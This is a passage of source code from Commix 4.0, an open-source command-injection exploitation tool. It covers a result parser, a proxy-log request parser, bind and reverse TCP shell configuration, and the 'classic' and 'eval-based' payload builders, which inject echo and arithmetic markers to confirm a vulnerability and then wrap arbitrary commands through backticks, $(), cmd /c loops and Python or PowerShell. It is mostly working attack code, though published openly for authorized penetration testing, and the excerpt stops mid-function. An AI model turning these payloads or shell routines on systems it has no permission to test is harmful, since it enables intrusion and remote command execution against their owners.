html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE)
break
shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data)
if not shell:
shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data)
if not shell:
return shell
try:
if TAG in shell:
shell = re.findall(r"" + "(.*)" + TAG + TAG, shell)
# Clear junks
shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell]
shell = [backslash.replace(r"\/","/") for backslash in shell]
except UnicodeDecodeError:
pass
if settings.TARGET_OS == settings.OS.WINDOWS:
if menu.options.alter_shell:
shell = [right_space.rstrip() for right_space in shell]
shell = [left_space.lstrip() for left_space in shell]
if "<<<<" in shell[0]:
false_result = True
else:
if shell[0] == "%i" :
false_result = True
except AttributeError:
false_result = True
if false_result:
shell = ""
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# Grab execution results
html_data = checks.page_encoding(response, action="decode")
html_data = re.sub("\n", new_line, html_data)
shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data)
try:
if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0:
shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \
re.split(TAG + "(.*)" + TAG, \
re.split(TAG + "(.*)" + TAG, shell[0])[0])[0])
shell = shell[0].replace(new_line, "\n").rstrip().lstrip()
except IndexError:
pass
else:
#Find the directory.
output = injection_output(url, OUTPUT_TEXTFILE, timesec, technique)
response = checks.get_response(output)
if type(response) is bool and response != True or response is None:
shell = ""
else:
try:
shell = checks.page_encoding(response, action="encode").rstrip().lstrip()
#shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell]
if settings.TARGET_OS == settings.OS.WINDOWS:
shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell]
#shell = [space.strip() for space in shell]
shell = [empty for empty in shell if empty]
except _urllib.error.HTTPError as e:
if str(e.getcode()) == settings.NOT_FOUND_ERROR:
shell = ""
return shell
# eof commix-4.0/src/core/injections/controller/parser.py 0000775 0000000 0000000 00000016077 14731205621 0022605 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import base64
import datetime
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Parse target and data from http proxy logs (i.e Burp or WebScarab)
"""
def logfile_parser():
"""
Warning message for mutiple request in same log file.
"""
def multi_requests():
err_msg = "Multiple"
if menu.options.requestfile:
err_msg += " requests"
elif menu.options.logfile:
err_msg += " targets"
err_msg += " are not supported, thus all coming"
if menu.options.requestfile:
err_msg += " requests "
elif menu.options.logfile:
err_msg += " targets "
err_msg += "will be ignored."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
return False
"""
Error message for invalid data.
"""
def invalid_data(request):
err_msg = "Specified file "
err_msg += "'" + os.path.split(request_file)[1] + "'"
err_msg += " does not contain a valid HTTP request."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.requestfile:
info_msg = "Parsing HTTP request "
request_file = menu.options.requestfile
elif menu.options.logfile:
info_msg = "Parsing target "
request_file = menu.options.logfile
if not os.path.exists(request_file):
err_msg = "It seems that the '" + request_file + "' file, does not exist."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
if os.stat(request_file).st_size != 0:
with open(request_file, encoding=settings.DEFAULT_CODEC) as file:
request = file.read()
else:
invalid_data(request_file)
if menu.options.requestfile or menu.options.logfile:
c = 1
request_headers = []
request_lines = request.split("\n")
while c < len(request_lines) and len(request_lines[c]) > 0:
x = request_lines[c].find(':')
header_name = request_lines[c][:x].title()
header_value = request_lines[c][x + 1:]
if menu.options.header:
request_headers.append(menu.options.header)
elif menu.options.headers:
request_headers.extend(menu.options.headers.split("\\n"))
request_headers.append(header_name + ":" + header_value)
c += 1
c += 1
menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else "")
settings.RAW_HTTP_HEADERS = '\\n'.join(request_headers)
except IOError as err_msg:
error_msg = "The '" + request_file + "' "
error_msg += str(err_msg.args[1]).lower() + "."
settings.print_data_to_stdout(settings.print_critical_msg(error_msg))
raise SystemExit()
single_request = True
pattern = r'HTTP/([\d.]+)'
if len(re.findall(pattern, request)) > 1:
single_request = multi_requests()
if len(settings.HTTP_METHOD) == 0:
http_method = request.strip().splitlines()[0].split()[0]
settings.HTTP_METHOD = http_method
else:
http_method = settings.HTTP_METHOD
request_url = re.findall(r"" + " (.*)" + " HTTP/", request)
if not request_url:
invalid_data(request_file)
request_url = "".join([str(i) for i in request_url])
# Check for other headers
extra_headers = ""
scheme = "http://"
for line in request_headers:
if re.findall(r"" + settings.HOST + ":" + " (.*)", line):
menu.options.host = "".join([str(i) for i in re.findall(r"" + settings.HOST + ":" + " (.*)", line)])
# User-Agent Header
if re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line):
menu.options.agent = "".join([str(i) for i in re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line)])
# Cookie Header
if re.findall(r"" + settings.COOKIE + ":" + " (.*)", line):
menu.options.cookie = "".join([str(i) for i in re.findall(r"" + settings.COOKIE + ":" + " (.*)", line)])
# Referer Header
if re.findall(r"" + settings.REFERER + ":" + " (.*)", line):
menu.options.referer = "".join([str(i) for i in re.findall(r"" + settings.REFERER + ":" + " (.*)", line)])
if menu.options.referer and "https://" in menu.options.referer:
scheme = "https://"
if re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line):
auth_provided = "".join([str(i) for i in re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line)]).split()
if auth_provided:
menu.options.auth_type = auth_provided[0].lower()
if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC:
menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode()
elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST:
if not menu.options.auth_cred:
err_msg = "Use the '--auth-cred' option to provide a valid pair of "
err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") "
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Add extra headers
else:
match = re.findall(r"(.*): (.*)", line)
match = "".join([str(i) for i in match]).replace("', '",":")
match = match.replace("('", "")
match = match.replace("')","\\n")
# Ignore some header.
if settings.CONTENT_LENGTH or settings.ACCEPT_ENCODING in match:
extra_headers = extra_headers
else:
extra_headers = extra_headers + match
# Extra headers
menu.options.headers = extra_headers
# Target URL
if not menu.options.host:
invalid_data(request_file)
else:
if len(_urllib.parse.urlparse(request_url).scheme) == 0:
request_url = scheme + request_url
if not menu.options.host in request_url:
request_url = request_url.replace(scheme, scheme + menu.options.host)
request_url = checks.check_http_s(request_url)
info_msg += "using the '" + os.path.split(request_file)[1] + "' file. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
menu.options.url = request_url
if menu.options.logfile and settings.VERBOSITY_LEVEL != 0:
sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url
settings.print_data_to_stdout(settings.print_sub_content(sub_content))
if menu.options.cookie:
sub_content = "Cookie: " + menu.options.cookie
settings.print_data_to_stdout(settings.print_sub_content(sub_content))
if menu.options.data:
sub_content = "POST data: " + menu.options.data
settings.print_data_to_stdout(settings.print_sub_content(sub_content))
# eof commix-4.0/src/core/injections/controller/shell_options.py 0000775 0000000 0000000 00000017531 14731205621 0024167 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.core.shells import bind_tcp
from src.core.shells import reverse_tcp
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Execute the bind / reverse TCP shell
"""
def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique):
if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
# Command execution results.
start = time.time()
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
end = time.time()
diff = end - start
# Evaluate injection results.
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
else:
# Command execution results.
start = time.time()
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
whitespace = settings.WHITESPACES[0]
if whitespace == settings.SINGLE_WHITESPACE:
whitespace = _urllib.parse.quote(whitespace)
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
end = time.time()
diff = end - start
# Evaluate injection results.
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
"""
Configure the bind TCP shell
"""
def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique):
settings.BIND_TCP = True
# Set up RHOST / LPORT for the bind TCP connection.
bind_tcp.configure_bind_tcp(separator)
if settings.BIND_TCP == False:
if settings.REVERSE_TCP == True:
os_shell_option = "reverse_tcp"
reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique)
return go_back, go_back_again
while True:
if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_bind_tcp_options(settings.RHOST)
else:
cmd = bind_tcp.bind_tcp_options(separator)
result = checks.check_bind_tcp_options(cmd)
if result != None:
if result == 0:
go_back_again = False
elif result == 1 or result == 2:
go_back_again = True
settings.BIND_TCP = False
elif result == 3:
settings.BIND_TCP = False
reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique)
return go_back, go_back_again
# execute bind TCP shell
execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique)
"""
Configure the reverse TCP shell
"""
def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique):
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for the reverse TCP connection.
reverse_tcp.configure_reverse_tcp(separator)
if settings.REVERSE_TCP == False:
if settings.BIND_TCP == True:
os_shell_option = "bind_tcp"
bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique)
return go_back, go_back_again
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options(separator)
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
go_back_again = False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
elif result == 3:
settings.REVERSE_TCP = False
bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique)
#reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again)
return go_back, go_back_again
# execute reverse TCP shell
execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique)
"""
Check commix shell options
"""
def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE):
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == "back" or os_shell_option == True or os_shell_option == False:
go_back = True
if os_shell_option == False:
go_back_again = True
return go_back, go_back_again
# The "os_shell" option
elif os_shell_option == "os_shell":
warn_msg = "You are into the '" + os_shell_option + "' mode."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
return go_back, go_back_again
# The "bind_tcp" option
elif os_shell_option == "bind_tcp":
go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique)
return go_back, go_back_again
# The "reverse_tcp" option
elif os_shell_option == "reverse_tcp":
go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique)
return go_back, go_back_again
# The "quit" / "exit" options
elif os_shell_option == "quit" or os_shell_option == "exit":
checks.quit(filename, url, _ = True)
else:
return go_back, go_back_again
commix-4.0/src/core/injections/results_based/ 0000775 0000000 0000000 00000000000 14731205621 0021375 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/results_based/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0023512 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/results_based/techniques/ 0000775 0000000 0000000 00000000000 14731205621 0023545 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/results_based/techniques/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0025662 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/results_based/techniques/classic/ 0000775 0000000 0000000 00000000000 14731205621 0025166 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/results_based/techniques/classic/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0027303 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/results_based/techniques/classic/cb_handler.py 0000775 0000000 0000000 00000002152 14731205621 0027624 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.core.injections.controller import handler
"""
The "classic" technique on result-based OS command injection.
"""
"""
The "classic" injection technique handler.
"""
def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique):
return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique)
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, timesec, filename, http_request_method, injection_type, technique):
return cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique)
# eof
commix-4.0/src/core/injections/results_based/techniques/classic/cb_injector.py 0000775 0000000 0000000 00000002634 14731205621 0030031 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.core.injections.controller import injector
"""
The "classic" technique on result-based OS command injection.
"""
"""
Evaluate test results.
"""
def injection_test_results(response, TAG, randvcalc, technique):
return injector.injection_test_results(response, TAG, randvcalc, technique)
"""
The main command injection exploitation.
"""
def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique):
OUTPUT_TEXTFILE = ""
return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
"""
The command execution results.
"""
def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec):
url = OUTPUT_TEXTFILE = timesec = ""
return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
commix-4.0/src/core/injections/results_based/techniques/classic/cb_payloads.py 0000775 0000000 0000000 00000013662 14731205621 0030033 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
The classic injection technique on Classic OS Command Injection.
The available "classic" payloads.
"""
"""
Classic decision payload (check if host is vulnerable).
"""
def decision(separator, TAG, randv1, randv2):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.SKIP_CALC:
payload = (separator +
"echo " + TAG + TAG + TAG + settings.CMD_NUL
)
else:
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
"set /a (" + str(randv1) + "%2B" + str(randv2) + ")" +
"\"') do @set /p = " + TAG + "%i" + TAG + TAG + settings.CMD_NUL
)
else:
if not settings.WAF_ENABLED:
if settings.USE_BACKTICKS:
math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`"
else:
math_calc = "$((" + str(randv1) + "%2B" + str(randv2) + "))"
else:
if settings.USE_BACKTICKS:
math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`"
else:
math_calc = "$(expr " + str(randv1) + " %2B " + str(randv2) + ")"
if settings.SKIP_CALC:
if settings.USE_BACKTICKS:
payload = (separator +
"echo " + TAG +
TAG + "" + TAG + "" +
separator
)
else:
payload = (separator +
"echo " + TAG +
"$(echo " + TAG + ")" + TAG + "" +
separator
)
else:
if settings.USE_BACKTICKS:
payload = (separator +
"echo " + TAG +
math_calc +
TAG + "" + TAG + ""
)
else:
payload = (separator +
"echo " + TAG +
math_calc +
"$(echo " + TAG + ")" + TAG + "" +
separator
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def decision_alter_shell(separator, TAG, randv1, randv2):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.SKIP_CALC:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\""
else:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "')\""
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do @set /p=%i " + settings.CMD_NUL
)
else:
if settings.SKIP_CALC:
payload = (separator +
settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG +
TAG +
TAG + "')\"" +
separator
)
else:
payload = (separator +
settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG +
"'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" +
TAG + "'%2B'" +
TAG + "')\"" +
separator
)
return payload
"""
Execute shell commands on vulnerable host.
"""
def cmd_execution(separator, TAG, cmd):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.REVERSE_TCP:
payload = (separator +
cmd + settings.SINGLE_WHITESPACE
)
else:
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL
)
else:
settings.USER_APPLIED_CMD = cmd
if settings.USE_BACKTICKS:
cmd_exec = "`" + cmd + "`"
payload = (separator +
"echo " + TAG +
"" + TAG + "" +
cmd_exec +
"" + TAG + "" + TAG + "" +
separator
)
else:
cmd_exec = "$(" + cmd + ")"
payload = (separator +
"echo " + TAG +
"$(echo " + TAG + ")" +
cmd_exec +
"$(echo " + TAG + ")" + TAG + "" +
separator
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def cmd_execution_alter_shell(separator, TAG, cmd):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.REVERSE_TCP:
payload = (separator +
cmd + settings.SINGLE_WHITESPACE
)
else:
payload = (separator +
"for /f \"tokens=*\" %i in ('" +
settings.WIN_PYTHON_INTERPRETER +
" -c \"import os; os.system('powershell.exe -InputFormat none write-host " +
TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" +
"') do @set /p=%i " + settings.CMD_NUL
)
else:
if settings.USE_BACKTICKS:
payload = (separator +
settings.LINUX_PYTHON_INTERPRETER +
" -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" +
TAG + "'%2B'" + TAG + "')\"" +
separator
)
else:
payload = (separator +
settings.LINUX_PYTHON_INTERPRETER +
" -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" +
TAG + "'%2B'" + TAG + "')\"" +
separator
)
return payload
# eof
commix-4.0/src/core/injections/results_based/techniques/eval_based/ 0000775 0000000 0000000 00000000000 14731205621 0025632 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/results_based/techniques/eval_based/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0027747 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/results_based/techniques/eval_based/eb_handler.py 0000775 0000000 0000000 00000002146 14731205621 0030275 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.core.injections.controller import handler
"""
The dynamic code evaluation (aka eval-based) technique.
"""
"""
The "eval-based" injection technique handler.
"""
def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique):
return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique)
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, timesec, filename, http_request_method, injection_type, technique):
return eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique)
# eof commix-4.0/src/core/injections/results_based/techniques/eval_based/eb_injector.py 0000775 0000000 0000000 00000002633 14731205621 0030476 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.core.injections.controller import injector
"""
The dynamic code evaluation (aka eval-based) technique.
"""
"""
Evaluate test results.
"""
def injection_test_results(response, TAG, randvcalc, technique):
return injector.injection_test_results(response, TAG, randvcalc, technique)
"""
The main command injection exploitation.
"""
def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique):
OUTPUT_TEXTFILE = ""
return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
"""
The command execution results.
"""
def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec):
url = OUTPUT_TEXTFILE = timesec = ""
return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
# eof commix-4.0/src/core/injections/results_based/techniques/eval_based/eb_payloads.py 0000775 0000000 0000000 00000020327 14731205621 0030475 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
The dynamic code evaluation (aka eval-based) technique.
The available "eval-based" payloads.
"""
"""
eval-based decision payload (check if host is vulnerable).
"""
def decision(separator, TAG, randv1, randv2):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.SKIP_CALC:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`for /f \"tokens=*\" %i in ('cmd /c \"" +
"set /a (" + str(randv1) + "%2B" + str(randv2) + ")" +
"\"') do @set /p = %i " + settings.CMD_NUL + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "for /f \"tokens=*\" %i in ('cmd /c \"" +
"set /a (" + str(randv1) + "%2B" + str(randv2) + ")" +
"\"') do @set /p = %i " + settings.CMD_NUL +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
if settings.SKIP_CALC:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo $((" + str(randv1) + "%2B" + str(randv2) + "))`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "echo $((" + str(randv1) + "%2B" + str(randv2) + "))" +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def decision_alter_shell(separator, TAG, randv1, randv2):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\""
if settings.SKIP_CALC:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"` cmd /c " + python_payload + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator +python_payload +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\""
if settings.SKIP_CALC:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
